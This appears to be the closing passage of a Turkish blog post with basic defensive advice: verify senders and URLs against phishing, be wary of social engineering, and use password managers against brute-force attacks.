Oltalama saldırılarından korunmak. Sahte e-postalardan, telefon aramalarından ve web sitelerinden şüphelenmek, gönderenin kimliğini doğrulamak ve bağlantılara tıklamadan önce URL'leri dikkatlice kontrol etmek oldukça önemlidir.
Sosyal mühendislik saldırılarından korunmak. Duyguları veya güveni kullanmaya çalışan kişilere karşı dikkatli olmak gerekir gönderilen herhangi bir dosya veya bağlantıyı açmadan önce kaynağını doğrulamak her zaman için iyidir.
Brute force saldırılarından korunmak için parola yöneticileri kullanmak. Parola yöneticileri, güçlü ve karmaşık şifreler oluşturmaya ve bunları yönetmeye yardımcı olur. Bu, her hesap için farklı ve benzersiz şifreler kullanılmasına olanak tanır.
Sonuna kadar okuduğunuz için teşekkür ederim diğer yazılarda görüşmek üzere🙂
Comments